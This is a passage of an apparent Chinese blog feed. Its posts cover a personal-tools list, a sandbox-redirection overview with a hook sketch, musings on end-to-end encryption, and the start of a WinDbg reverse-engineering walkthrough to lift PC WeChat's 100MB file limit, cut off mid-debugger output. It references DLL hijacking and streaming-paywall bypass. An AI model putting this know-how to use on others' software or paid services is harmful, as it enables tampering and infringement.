class="headerlink" title="SuperDllHijack"></a>SuperDllHijack</h5><p>这个算是一种技术研究分享，一种通用Dll劫持技术，不再需要手工导出Dll的函数接口了。</p> <table> <thead> <tr> <th>状态：</th> <th>好用</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★★★</td> </tr> <tr> <td>项目地址：</td> <td><a href="https://github.com/anhkgg/SuperDllHijack">https://github.com/anhkgg/SuperDllHijack</a></td> </tr> <tr> <td>文章地址：</td> <td><a href="https://mp.weixin.qq.com/s/Nx4C2mx94V9vhvU8Eqfobg">https://mp.weixin.qq.com/s/Nx4C2mx94V9vhvU8Eqfobg</a></td> </tr> </tbody> </table> <h5 id="超级笔记本"><a href="#超级笔记本" class="headerlink" title="超级笔记本"></a>超级笔记本</h5><p><img src="/img/anhkgg-tools/supernotebook.png" alt="img"></p> <p>这是我自用的重度工具，用于记录笔记，写文章等等。</p> <p>可以理解为一个定制的离线版有道云笔记，支持markdown，实时预览，打印。</p> <p>当初想做这个，有几个原因：</p> <ul> <li>有些笔记不想同步到云上，所以要离线版</li> <li>有些笔记想保留历史记录，所以用了git来保存文章</li> <li>想统一管理笔记、文章、周报、会议纪要等等</li> </ul> <p>自己想要的东西，基本都做完了，不过还在持续迭代中。</p> <table> <thead> <tr> <th>状态：</th> <th>重度使用</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★★★</td> </tr> </tbody> </table> <h5 id="superwechatpc"><a href="#superwechatpc" class="headerlink" title="superwechatpc"></a>superwechatpc</h5><p>略。</p> <table> <thead> <tr> <th>状态：</th> <th>重度使用</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★★★</td> </tr> <tr> <td>项目地址：</td> <td><a href="https://github.com/anhkgg/SuperWeChatPC">https://github.com/anhkgg/SuperWeChatPC</a></td> </tr> </tbody> </table> <h5 id="密码本"><a href="#密码本" class="headerlink" title="密码本"></a>密码本</h5><p><img src="/img/anhkgg-tools/secure_explorer.png" alt="img"></p> <p>各种网站、app密码太多，怎么保存，怎么管理？万一电脑遗失，密码被人看到咋办？</p> <p>可以用压缩文件加密压缩，但是使用不方便。</p> <p>所以自己撸了一个文件浏览器，类似压缩文件格式（自定义）保存，支持文件口令，支持实时查看、搜索、增加、删除密码记录等等。</p> <table> <thead> <tr> <th>状态：</th> <th>重度使用</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★★★</td> </tr> </tbody> </table> <h5 id="文件隐藏工具"><a href="#文件隐藏工具" class="headerlink" title="文件隐藏工具"></a>文件隐藏工具</h5><p><img src="/img/anhkgg-tools/filesecure.png" alt="img"></p> <p>电脑上有没有不想被人看到的文件？给explorer加个隐身功能吧，需要输入正确口令才能查看文件哦，功能直接看图。</p> <table> <thead> <tr> <th>状态：</th> <th>好用</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★★★</td> </tr> </tbody> </table> <h5 id="vip搜索播放"><a href="#vip搜索播放" class="headerlink" title="vip搜索播放"></a>vip搜索播放</h5><p><img src="/img/anhkgg-tools/supervid.png" alt="img"></p> <p>现在为了能够准时追剧，不慢人一步，没有vip是不行的。我也有爱奇艺vip，但是我想看的不在爱奇艺播，你说气人不气人，难道为了看一部电视剧或电影就去买个其他两个平台的会员，是不是太不划算了。</p> <p>网上有很多vip解析接口，有些时候能够解一时燃眉之急。</p> <p>但是体验不好啊，每次都要去官网找到视频连接，放到解析网站才能播放。</p> <p>所以我把搜索和vip播放集成了，就在我的工具搜索（支持qq、爱奇艺），然后直接播放，体验很棒。</p> <p>不过，我现在真的买了个三个平台的会员，哭。</p> <table> <thead> <tr> <th>状态：</th> <th>好用</th> </tr> </thead> <tbody> <tr> <td>有用指数：</td> <td>★★★★★</td> </tr> </tbody> </table> <p>想介绍的就这些了，前一部分非常水，毕竟是刚入门不久写的。<br>后面的工具自我感觉是非常有意思、有用的，也一直在用，所以它们确实带给我了很多成就感。</p> <p>当然还有很多工具，年代久远，忘了，找不到了。</p> <p>如果大家有对某些工具感兴趣的，可以留言，我会酌情放出。</p> <h4 id="2、最后"><a href="#2、最后" class="headerlink" title="2、最后"></a>2、最后</h4><p>这篇文章一个是为了自我总结，看看自己这些年究竟折腾了些什么东西，另外也是希望能够找到些同道中人，做做下面说的事情。</p> <p>如果大家有什么有趣的想法或需求，还没有做出来的，如果是能够分享到的，可以到项目<code>github.com/anhkgg/anhkgg-tools</code>留言区第一个issue留言，或者点赞支持别人的想法。我可以从中挑选感兴趣的东西尝试做一做，然后分享到项目中，当然也欢迎其他感兴趣的朋友参与一起开发，为大家贡献一些好玩好用的小工具。</p> <p>转载请注明出处：<a href="https://anhkgg.github.io/anhkgg-tools">https://anhkgg.github.io/anhkgg-tools</a></p> <p>欢迎关注技术公众号：<strong><span style="color:red">汉客儿</span></strong><br><img src="/img/wx.png" alt="img"></p> ]]></content>          <summary type="html">            &lt;blockquote&gt; &lt;p&gt;author: anhkgg&lt;br&gt;date: 2019年10月17日&lt;/p&gt; &lt;/blockquote&gt; &lt;h3 id=&quot;原标题：造轮子，撸工具的乐趣&quot;&gt;&lt;a href=&quot;#原标题：造轮子，撸工具的乐趣&quot; class=&quot;headerlink&quot; title=&quot;原标题：造轮子，撸工具的乐趣&quot;&gt;&lt;/a&gt;原标题：造轮子，撸工具的乐趣&lt;/h3&gt;&lt;p&gt;QQ交流群：&lt;a href=&quot;https://jq.qq.com/?_wv=1027&amp;amp;k=5ww6tlB&quot;&gt;753894145&lt;/a&gt;&lt;/p&gt; &lt;p&gt;从开始学习编程到现在，一直喜欢写些小工具，也会重复造轮子。&lt;/p&gt; &lt;p&gt;为什么要自己撸呢？&lt;/p&gt; &lt;p&gt;~当然是因为别人撸的不好（逃）~&lt;/p&gt;          </summary>             </entry>      <entry>     <title>沙箱：概述</title>     <link href="https://anhkgg.github.io/sandbox-summary/"/>     <id>https://anhkgg.github.io/sandbox-summary/</id>     <published>2019-10-05T02:58:49.000Z</published>     <updated>2019-10-05T03:11:36.413Z</updated>          <content type="html"><![CDATA[<blockquote> <p>author: anhkgg<br>date: 2019-10-05</p> </blockquote> <p>最早接触沙箱，对它的印象就是：<a href="https://www.sandboxie.com/">sandboxie</a>。</p> <p>因为学的是安全相关专业，在网上下载东西非常谨慎，就算通过了杀毒软件扫描，但是也怕有后门或者其他东西，毕竟我也可以静态过掉杀软。</p> <p>很多软件没有官网，各种下载站的东西真的是让人不放心。</p> <p>所以在下载某些软件后，只要不影响功能，基本都会用sandboxie来运行软件。如果不行，则放到虚拟机里。</p> <p>所以我对沙箱最初的概念就是：sandboxie，它是一个轻量级虚拟机，软件的操作都不会影响真正的系统，包括文件、注册表等等资源，可以放肆地想干嘛干嘛。</p> <p>那时当然是不怎么知道sanboxie是怎么做的。</p> <p>题外话：最近因为微软的关系，sanboxie已选宣布免费，后续还可能开源，感兴趣的可以关注关注。</p> <a id="more"></a> <h3 id="沙箱"><a href="#沙箱" class="headerlink" title="沙箱"></a>沙箱</h3><p>注：沙箱现在的概念非常杂，某些分析平台后端也叫沙箱，主要关注的行为获取，我这里说的不一样。</p> <p>那么沙箱究竟是怎么做的呢？</p> <p>一句话概括的话就是：<strong>沙箱内万物基于重定向</strong>。</p> <p><strong>重定向</strong>，顾名思义，就是重新指定方向，也就是说沙箱能够做到让沙箱内软件操作的文件、注册表等路径重定向到其他位置（沙箱指定位置），这样软件本来想操作的资源就不会被访问或者操作，保证资源的安全性。</p> <p>这也就是我使用沙箱跑一些不明软件的原因，万一软件被恶意修改过，存在病毒，想破坏系统关键文件，也就不可能了。</p> <p>言归正传。</p> <p>重定向我们还有个高级的词叫做“<strong>虚拟化</strong>”，也可以称作”<strong>隔离</strong>“，说到底沙箱就是为程序提供一个虚拟化环境，也就是隔离环境，并保证程序所有操作都在这个隔离环境内。</p> <p>再举一个简单的例子理解一下重定向。如果程序要删除c:\boot.ini，沙箱如何做到隔离，保证文件不被删除呢。</p> <ol> <li>沙箱hook ZwDeleteFile，函数是HOOK_ZwDeleteFile。</li> <li>在HOOK_ZwDeleteFile中，讲路径c:\boot.ini加上一个前缀c:\sandbox\boot.ini，转到沙箱内文件路径。</li> <li>c:\sandbox\boot.ini不存在，会先把c:\boot.ini拷贝到沙箱内。</li> <li>然后调用原始ZwDeleteFile，删除c:\sandbox\boot.ini。</li> </ol> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">NTSTATUS HOOK_ZwDeleteFile(</span><br><span class="line">  POBJECT_ATTRIBUTES ObjectAttributes</span><br><span class="line">) &#123;</span><br><span class="line">   AddPrefix(ObjectAttributes-&gt;ObjectName, L&quot;sandbox&quot;);&#x2F;&#x2F;路径加上沙箱前缀</span><br><span class="line">   if(!PathFileExists(ObjectAttributes-&gt;ObjectName.Buffer)) &#123;</span><br><span class="line">      CopyFile();&#x2F;&#x2F;拷贝进来</span><br><span class="line">   &#125;</span><br><span class="line">   return OrigZwDeleteFile(ObjectAttributes);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>如此就完成了一个简单的删除文件的隔离。</p> <p>一个完备的沙箱一般需要虚拟化（隔离）处理这些东西：</p> <ol> <li>文件</li> <li>注册表</li> <li>DCOM(RPCSS)</li> <li>服务</li> <li>其他如：窗口、类名、消息、token等。</li> <li>进程、线程安全</li> <li>全局钩子、注入等防护</li> <li>驱动加载</li> <li>…</li> </ol> <p>下面对比较重要的几个内容进行一下阐述。</p> <h3 id="文件重定向"><a href="#文件重定向" class="headerlink" title="文件重定向"></a>文件重定向</h3><p>保证沙箱内程序创建、修改、删除、读取等文件操作都在沙箱内，不会影响系统中真实的文件。</p> <p>功能实现方式由很多，主要可以按下面分为：</p> <ol> <li>用户态实现，hook ntdll.dll文件相关函数，然后路径重定向</li> <li>内核态实现，ssdt hook文件相关函数，或者minifilter等技术</li> </ol> <p>用户态实现较为简单，语义更清晰，但是强度不够，有很多方式穿透ntdll.dll这层的文件操作函数，导致文件重定向（隔离）失败，比如用户态通过直接扇区读写来修改文件。</p> <p>内核态如果使用minifilter来实现，强度基本就够了。</p> <p>不过sandboxie是在用户态实现的。</p> <h3 id="注册表重定向"><a href="#注册表重定向" class="headerlink" title="注册表重定向"></a>注册表重定向</h3><p>保证沙箱内程序创建、修改、删除、读取等注册表操作都在沙箱内，不会影响系统中真实的注册表信息。</p> <p>同样，和文件重定向一样，也可以在用户态或内核态使用不同的技术完成，先不细说。</p> <h3 id="DCOM虚拟化"><a href="#DCOM虚拟化" class="headerlink" title="DCOM虚拟化"></a>DCOM虚拟化</h3><p>其实做DCOM虚拟化，最主要是为了防止沙箱内程序逃逸。</p> <p>所谓逃逸，就是沙箱无法控制沙箱内程序行为，程序可以绕过沙箱，对系统造成破坏。</p> <p>逃逸的方式有很多，对于支持DCOM的程序，就是其中一种。</p> <p>举个例子，在wordpad.exe(写字板）插入对象-画笔图片，会启动mspaint，可以看到mspaint是svchost.exe -k DcomLaunch的子进程。</p> <p><img src="/img/sandbox/dcom.png" alt="img"></p> <p>什么意思呢？</p> <p>一般来说，如果在沙箱中启动wordpad.exe，wordpad.exe的子进程默认也会进入沙箱，但通过DCOM启动的mspaint就没法拉入沙箱了，它不是wordpad.exe子进程。</p> <p>所以，此时需要虚拟化DCOM，让沙箱内启动一个DCOM服务，这样wordpad.exe直接和沙箱内DCOM通信，启动子进程mspaint.exe，作为沙箱内DCOM服务的子进程，自然也被拉入沙箱内。</p> <p>如此做到组织逃逸。</p> <p>这里面涉及到很多技术细节，如RPC，后面细说。</p> <h3 id="服务虚拟化"><a href="#服务虚拟化" class="headerlink" title="服务虚拟化"></a>服务虚拟化</h3><p>其实服务也是逃逸沙箱的一种方式，但是也可以说如果沙箱不支持服务虚拟化，某些程序就不能在沙箱内正常工作。</p> <p>所以不管出于那种原因考虑，沙箱都得实现服务虚拟化。</p> <p>至于说服务也能逃逸是怎么回事呢？</p> <p>很简单，程序通过服务API创建一个服务，然后启动服务，对应服务程序就没法被沙箱接管，逃出沙箱控制。</p> <p>实现就是接管服务相关API了。</p> <h3 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h3><p>剩下的其他内容，暂时也不分析了，如果有时间，后面继续分享。</p> <h3 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h3><p>前面说的内容都是如何完成虚拟化的东西，一个成熟的沙箱肯定还包括其他很多东西，比如多沙箱的支持、沙箱清理、安全浏览器等等，不过这些都不在我们重点讨论范围，毕竟这些只有在实际产品才会考虑的问题，我们这里只是研究沙箱核心相关的技术。</p> <p>另外，针对每种重定向技术细节后续会慢慢详细分享，敬请关注。</p> <p>最后，再来一张简单的沙箱框图。</p> <p><img src="/img/sandbox/sandbox.png" alt="img"></p> <p>转载请注明出处：<a href="https://anhkgg.github.io/sandbox-summary">https://anhkgg.github.io/sandbox-summary</a></p> <p>欢迎关注技术公众号：<strong><span style="color:red">汉客儿</span></strong><br><img src="/img/wx.png" alt="img"></p> ]]></content>          <summary type="html">            &lt;blockquote&gt; &lt;p&gt;author: anhkgg&lt;br&gt;date: 2019-10-05&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;最早接触沙箱，对它的印象就是：&lt;a href=&quot;https://www.sandboxie.com/&quot;&gt;sandboxie&lt;/a&gt;。&lt;/p&gt; &lt;p&gt;因为学的是安全相关专业，在网上下载东西非常谨慎，就算通过了杀毒软件扫描，但是也怕有后门或者其他东西，毕竟我也可以静态过掉杀软。&lt;/p&gt; &lt;p&gt;很多软件没有官网，各种下载站的东西真的是让人不放心。&lt;/p&gt; &lt;p&gt;所以在下载某些软件后，只要不影响功能，基本都会用sandboxie来运行软件。如果不行，则放到虚拟机里。&lt;/p&gt; &lt;p&gt;所以我对沙箱最初的概念就是：sandboxie，它是一个轻量级虚拟机，软件的操作都不会影响真正的系统，包括文件、注册表等等资源，可以放肆地想干嘛干嘛。&lt;/p&gt; &lt;p&gt;那时当然是不怎么知道sanboxie是怎么做的。&lt;/p&gt; &lt;p&gt;题外话：最近因为微软的关系，sanboxie已选宣布免费，后续还可能开源，感兴趣的可以关注关注。&lt;/p&gt;          </summary>            <category term="sandbox" scheme="https://anhkgg.github.io/categories/sandbox/"/>                 <category term="sandbox" scheme="https://anhkgg.github.io/tags/sandbox/"/>            <category term="security" scheme="https://anhkgg.github.io/tags/security/"/>        </entry>      <entry>     <title>程序员对私密聊天的乱想</title>     <link href="https://anhkgg.github.io/security-chat/"/>     <id>https://anhkgg.github.io/security-chat/</id>     <published>2019-09-06T03:19:27.000Z</published>     <updated>2019-09-06T03:23:23.388Z</updated>          <content type="html"><![CDATA[<h3 id="唠叨"><a href="#唠叨" class="headerlink" title="唠叨"></a>唠叨</h3><p>群里有人推了个项目<a href="https://github.com/dplusec/tgwechat">TgWechat</a>，微信端对端加密插件，还特意@了我表示感谢，受宠若惊。</p> <p>隐私问题其实说了很久，有人说微信其实一直看着我们聊天，具体是怎么样的，咱也不知道，咱也不敢问吖…</p> <p>谁没个秘密呢，或者和朋友开个玩笑，或者和伴侣聊点”家常”，如果这些内容暴露在别人眼中，确实有点尴尬，但毕竟咱也没乱说啥吖…</p> <p>不过加密聊天也可有能会给某些人提供某些庇护，导致出现一些安全问题，这也是一个大问题…</p> <p>所以你让我说微信到底要不要、能不能看我们聊天内容，我确实也说不好…</p> <p>所以这里不讨论这种问题，我只聊技术。</p> <a id="more"></a> <h3 id="不是广告"><a href="#不是广告" class="headerlink" title="不是广告~~"></a>不是广告~~</h3><p>端对端加密（ end-to-end encryption），按我的简单理解就是A和B聊天，A说出去的话加密后，只有B能够解开密文，拿到明文，这个过程中网络传输过程全是加密的。</p> <blockquote> <p>2017年8月，WhatsApp宣布对所有通讯信息进行端到端加密，WhatsApp超过10亿用户的所有信息(包括文字、照片、视频、文件和语音信息)在默认下都会进行端到端加密，包括群聊。</p> </blockquote> <blockquote> <p>“我们的想法很简单：当你发送一条消息，只有接收你消息的人或群组可以读取，”WhatsApp创始人Jan Koum和Brian Acton表示，“没有人可以看到这些消息，网络罪犯、黑客、政府人员甚至我们都不能看到这些消息。端到端加密可确保WhatsApp通讯的隐私性，这有点像面对面的谈话。”</p> </blockquote> <p>看了这个新闻，知道我没理解错。</p> <p>其实我很早就写了个小工具，就实现了端对端加密，而且还是对聊天工具透明的，也就是说任何工具都能用。</p> <p>哈哈，有点吹了…</p> <p>小工具叫做<a href="https://anhkgg.com/Chisechat/">Chisechat</a>，slogn是“独属于你和我的心灵密令”，本来是我自用的小玩意，后来改了几版之后才分享出来的。</p> <p>功能很简单，A和B都用Chisechat设置一个一样的密码（私下协商，打电话或者当面定好），A把要发的内容放到Chisechat加密，再用聊天工具把加密内容发给B，B拿到密文在Chisechat中解密查看。</p> <p>看起来操作是不是挺麻烦，其实还好，因为我针对操作做了优化，基本不影响聊天体验，具体不说了，感兴趣的自行下载试用，地址：<a href="https://anhkgg.com/Chisechat/">https://anhkgg.com/Chisechat/</a>。</p> <p>唯一让我拿出来分享的原因是，我觉得自己做的挺好玩，让我啰嗦说道一下。</p> <p>Chisechat刚开始加密就是简单的xx算法+base64，然后base64的内容特征太明显，也不好看，我就开始想怎么弄得更自然一点，后来增加了两种模式。</p> <ol> <li>增加base64中文版算法，也就是那些xx字符全换成我选的一些中文，这样编码结果看起来自然多了</li> <li>后来觉得选的字太简单也不好看，就灵光一闪想到粤语。是的，粤语词看起来非常炫酷，非常好玩。</li> </ol> <p>具体如何你们自行鉴赏一下：</p> <p><img src="/img/chisechat.png" alt="img"></p> <p>OK，扯得有点多了，我的Chisechat其实一种粗糙且粗暴的一种解决方案，但够用了。</p> <h3 id="研究"><a href="#研究" class="headerlink" title="研究"></a>研究</h3><p>那WhatsApp是如何做的呢？不知道。</p> <p>但是搜索的时候，看到了这个必须拥有姓名的软件Telegram，也就是TgWechat参考的。</p> <p>Telegram中文名好像叫做“电报”，很安全的感觉。Telegram号称”这个世界上没人能监控我”。</p> <blockquote> <p>Telegram 为一对一的聊天提供端对端加密，加密模式是基于256位对称AES 加密，RSA 2048 的加密和Diffie-Hellman 的安全密钥交换协议。协议极其优秀，兼具数学和工程之美，不仅加密基础非常完善，在工程上也很出色，Telegram传递的消息为函数，可扩展性相当强。</p> </blockquote> <p>Telegram用的是RSA-dh+AES来完成的端对端加密。</p> <p>按我一个密码学渣的粗浅理解就是：</p> <ol> <li>A和B拥有相同的p、q，通过RSA生成各自公钥和私钥。</li> <li>私钥自行保存，公钥通过网络发送给对方。</li> <li>互相拿到公钥后，和自己的私钥一起算出一个共享密钥</li> <li>A和B算出密钥是一样的，这样就是可以互相AES加密解密了。</li> </ol> <p>具体算法大家自行查看其他<a href="https://blog.csdn.net/andylau00j/article/details/82178351">更详细的分享</a>，比如对抗中间人攻击（RSA签名），爆破（p、q很大）。</p> <p>看一下这个实例更好理解：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F;https:&#x2F;&#x2F;blog.csdn.net&#x2F;andylau00j&#x2F;article&#x2F;details&#x2F;82178351</span><br><span class="line"></span><br><span class="line">1.爱丽丝与鲍伯协定使用p&#x3D;23以及g&#x3D;5.</span><br><span class="line"> </span><br><span class="line">2.爱丽丝选择一个秘密整数a&#x3D;6, 计算A &#x3D; g^a mod p并发送给鲍伯。</span><br><span class="line">   A &#x3D; 5^6 mod 23 &#x3D; 8.</span><br><span class="line"> </span><br><span class="line">3.鲍伯选择一个秘密整数b&#x3D;15, 计算B &#x3D; g^b mod p并发送给爱丽丝。</span><br><span class="line">   B &#x3D; 5^15 mod 23 &#x3D; 19.</span><br><span class="line"> </span><br><span class="line">4.爱丽丝计算s &#x3D; B a mod p</span><br><span class="line">  19^6 mod 23 &#x3D; 2.</span><br><span class="line"> </span><br><span class="line">5.鲍伯计算s &#x3D; A b mod p</span><br><span class="line">   8^15 mod 23 &#x3D; 2.</span><br></pre></td></tr></table></figure> <p>总的来说，Telegram通过很牛逼的密钥交换算法让两方拥有了一样的密码，然后别人不知道，也找不到，这样子聊天内容一加密，就只有对方能够看到，如此完成了一个端对端加密的安全聊天通道。</p> <p>再扯一句，Telegram是通过协议和算法来完成协商密钥，而我的Chisechat是人工通过其他通道协商的密钥，殊途同归，嘎嘎。</p> <h3 id="猜测"><a href="#猜测" class="headerlink" title="猜测"></a>猜测</h3><p>理论搞明白了，现在想想TgWechat是怎么做的呢（这玩意加的vm太多了…别想逆了）？</p> <p>其实也有两种方式，一种类似于Chisechat的思路，自行设置密码，然后加密聊天，一种就是像Telegram一样通过协议和算法完成。</p> <p>这前面密码的事都没啥好说的，关键在Wechat不是你自己的软件，要怎么插入一些自己的东西进去。</p> <p>这里我也只是给出思路，猜测TgWechat是这么做的。</p> <ol> <li>hook sendmsg、recvmsg。</li> <li>密钥协商阶段，检查发送内容和接收内容是不是特定内容，是则通过算法生成公私钥，公钥sendmsg发送出去。</li> <li>recvmsg收到公钥，算出共享密钥。</li> <li>后续发送和接收到内容时，通过加密算法先加解密，再发送出去或者显示。</li> </ol> <p>OK，基本就是这样了。</p> <p>点击体验Chisechat：<a href="https://anhkgg.com/Chisechat/">https://anhkgg.com/Chisechat/</a></p> <p>参考：</p> <ol> <li><a href="https://yq.aliyun.com/articles/194780">WhatsApp宣布对所有通讯信息进行端到端加密</a></li> <li><a href="https://www.anquanke.com/post/id/102545">全球没人能监控的聊天软件也要死了 — Telegram</a>。</li> <li><a href="https://blog.csdn.net/andylau00j/article/details/82178351">DH秘钥交换算法</a></li> <li><a href="https://github.com/dplusec/tgwechat">TgWechat</a></li> </ol> <p>欢迎关注技术公众号：<strong><span style="color:red">汉客儿</span></strong><br><img src="/img/wx.png" alt="img"></p> ]]></content>          <summary type="html">            &lt;h3 id=&quot;唠叨&quot;&gt;&lt;a href=&quot;#唠叨&quot; class=&quot;headerlink&quot; title=&quot;唠叨&quot;&gt;&lt;/a&gt;唠叨&lt;/h3&gt;&lt;p&gt;群里有人推了个项目&lt;a href=&quot;https://github.com/dplusec/tgwechat&quot;&gt;TgWechat&lt;/a&gt;，微信端对端加密插件，还特意@了我表示感谢，受宠若惊。&lt;/p&gt; &lt;p&gt;隐私问题其实说了很久，有人说微信其实一直看着我们聊天，具体是怎么样的，咱也不知道，咱也不敢问吖…&lt;/p&gt; &lt;p&gt;谁没个秘密呢，或者和朋友开个玩笑，或者和伴侣聊点”家常”，如果这些内容暴露在别人眼中，确实有点尴尬，但毕竟咱也没乱说啥吖…&lt;/p&gt; &lt;p&gt;不过加密聊天也可有能会给某些人提供某些庇护，导致出现一些安全问题，这也是一个大问题…&lt;/p&gt; &lt;p&gt;所以你让我说微信到底要不要、能不能看我们聊天内容，我确实也说不好…&lt;/p&gt; &lt;p&gt;所以这里不讨论这种问题，我只聊技术。&lt;/p&gt;          </summary>                 <category term="security" scheme="https://anhkgg.github.io/tags/security/"/>            <category term="telegram" scheme="https://anhkgg.github.io/tags/telegram/"/>            <category term="wechat" scheme="https://anhkgg.github.io/tags/wechat/"/>        </entry>      <entry>     <title>教会微信：突破文件发送100M限制</title>     <link href="https://anhkgg.github.io/wechat-sendfile-100M/"/>     <id>https://anhkgg.github.io/wechat-sendfile-100M/</id>     <published>2019-08-16T04:12:27.000Z</published>     <updated>2019-11-14T06:31:13.498Z</updated>          <content type="html"><![CDATA[<p>QQ交流群：<a href="https://jq.qq.com/?_wv=1027&amp;k=5ww6tlB">753894145</a></p> <p>9102年了，我想大部分人使用微信的频率应该都会高于QQ了吧。</p> <p>以前在QQ传文件的时候，哪里会想到会有文件大小限制，几G、几十G的文件随意传。</p> <p>而现在，用微信传文件，很尴尬，只能传100M或更小的文件。</p> <p>为什么做这个限制？我想可能是因为微信一开始就是手机应用。</p> <a id="more"></a> <ul> <li>最初手机存储空间并不像电脑那么大，所以微信可能认为手机存不下（而现在256G是标配了）。</li> <li>更重要的是，手机使用流量，大文件消耗流量更多，用户肯定受不了（现在流量也不贵了，再说还有WIFI呢）。</li> </ul> <p>所以限制文件大小，合情合理。</p> <p>但是，现在微信也出了PC版本了，也有很多用户在使用PC版本微信，还在限制100M就有点说不过去了。</p> <p>你说怕手机收到后下载耗流量，确实有点浪费，那你服务端可以区分一下嘛，用户也可以自己确认是否下载啊。</p> <p>但是，微信并没有做什么，这就很影响PC上微信的使用体验了。</p> <p>我要用微信传大文件啊（100M以上），因为我QQ密码忘了，因为我朋友QQ密码忘了…</p> <p>好，既然如此，你不做…还是…你不做，那就我来做！</p> <h3 id="1、突破本地100M限制"><a href="#1、突破本地100M限制" class="headerlink" title="1、突破本地100M限制"></a>1、突破本地100M限制</h3><p>下载最新的PC微信（当时2.6.8.65），开始分析微信对文件大小限制是如何做的，然后一一突破。</p> <p>在选择文件过程中就做了100M限制。</p> <p><img src="/img/wechat_100_1.png" alt="img"></p> <p>嗯，文件大小首先就想到了<code>GetFileSize</code>，下个断点看看。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">bp KERNEL32!GetFileSize</span><br><span class="line">bp KERNEL32!GetFileSizeEx</span><br><span class="line">0:000:x86&gt; kvn</span><br><span class="line"> # ChildEBP RetAddr  Args to Child              </span><br><span class="line">00 0075cf6c 7908f015 c78f272a 10977de0 00000001 KERNEL32!GetFileSizeEx</span><br><span class="line">01 0075cfec 7908ed8c 109a7218 0000001f 00000020 WeChatWin!IMVQQEngine::&#96;default constructor closure&#39;+0x2f735</span><br><span class="line">0:000:x86&gt; g</span><br><span class="line">Breakpoint 2 hit</span><br><span class="line">KERNEL32!GetFileSizeEx:</span><br><span class="line">777840e0 ff25d80f7e77    jmp     dword ptr [KERNEL32!_imp__GetFileSizeEx (777e0fd8)] ds:002b:777e0fd8&#x3D;&#123;KERNELBASE!GetFileSizeEx (76ce2ec0)&#125;</span><br><span class="line">0:000:x86&gt; kvn</span><br><span class="line"> # ChildEBP RetAddr  Args to Child              </span><br><span class="line">00 0075e810 7908fd9e c78f0396 00000000 0e61c3a4 KERNEL32!GetFileSizeEx</span><br><span class="line">01 0075eb50 792e5b5c 00000306 0000000f 00000000 WeChatWin!IMVQQEngine::&#96;default constructor closure&#39;+0x304be</span><br><span class="line">0:000:x86&gt; g</span><br><span class="line">Breakpoint 2 hit</span><br><span class="line">KERNEL32!GetFileSizeEx:</span><br><span class="line">777840e0 ff25d80f7e77    jmp     dword ptr [KERNEL32!_imp__GetFileSizeEx (777e0fd8)] ds:002b:777e0fd8&#x3D;&#123;KERNELBASE!GetFileSizeEx (76ce2ec0)&#125;</span><br><span class="line">0:008:x86&gt; kvn</span><br><span class="line"> # ChildEBP RetAddr  Args to Child              </span><br><span class="line">00 0378e530 79a9eba3 00000002 00000000 00000000 KERNEL32!GetFileSizeEx</span><br><span class="line">01 0378e5c4 79a9ee3d 00000002 00000000 00000000 WeChatWin!_ASSERT+0x553c3 &#x2F;&#x2F;10aeeba3</span><br><span class="line">0:008:x86&gt; g</span><br></pre></td></tr></table></figure> <p>艾玛啊，触发有点多啊，头疼。算了，换个思路。点击发送文件按钮，会弹出文件选择对话框，这是微软提供的。</p> <p>写过win32 gui或者mfc程序的同学应该想到了，对弹出文件选择对话框的函数下断点。</p> <p>不是~bp shell32!SHBrowseForFolderW这是目录选择~，也不是~bp shell32!SHFileOperationW~，而是这个：<code>bp comdlg32!GetOpenFileNameW</code></p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">Breakpoint 5 hit</span><br><span class="line">COMDLG32!GetOpenFileNameW:</span><br><span class="line">7523e810 8bff            mov     edi,edi</span><br><span class="line">0:000:x86&gt; kvn</span><br><span class="line"> # ChildEBP RetAddr  Args to Child              </span><br><span class="line">00 0075cffc 7908eac2 0075d014 c78f0306 1097cb80 COMDLG32!GetOpenFileNameW (FPO: [1,1053,4])</span><br><span class="line">01 0075ebc0 7907e81c 000003e9 00000000 00000000 WeChatWin!IMVQQEngine::&#96;default constructor closure&#39;+0x2f1e2 &#x2F;&#x2F;100deac2</span><br><span class="line">02 0075ebd8 792e586f 000003e9 00000000 00000000 WeChatWin!IMVQQEngine::&#96;default constructor closure&#39;+0x1ef3c</span><br><span class="line">03 0075ec38 792e556e c78f0492 00000000 0075ed54 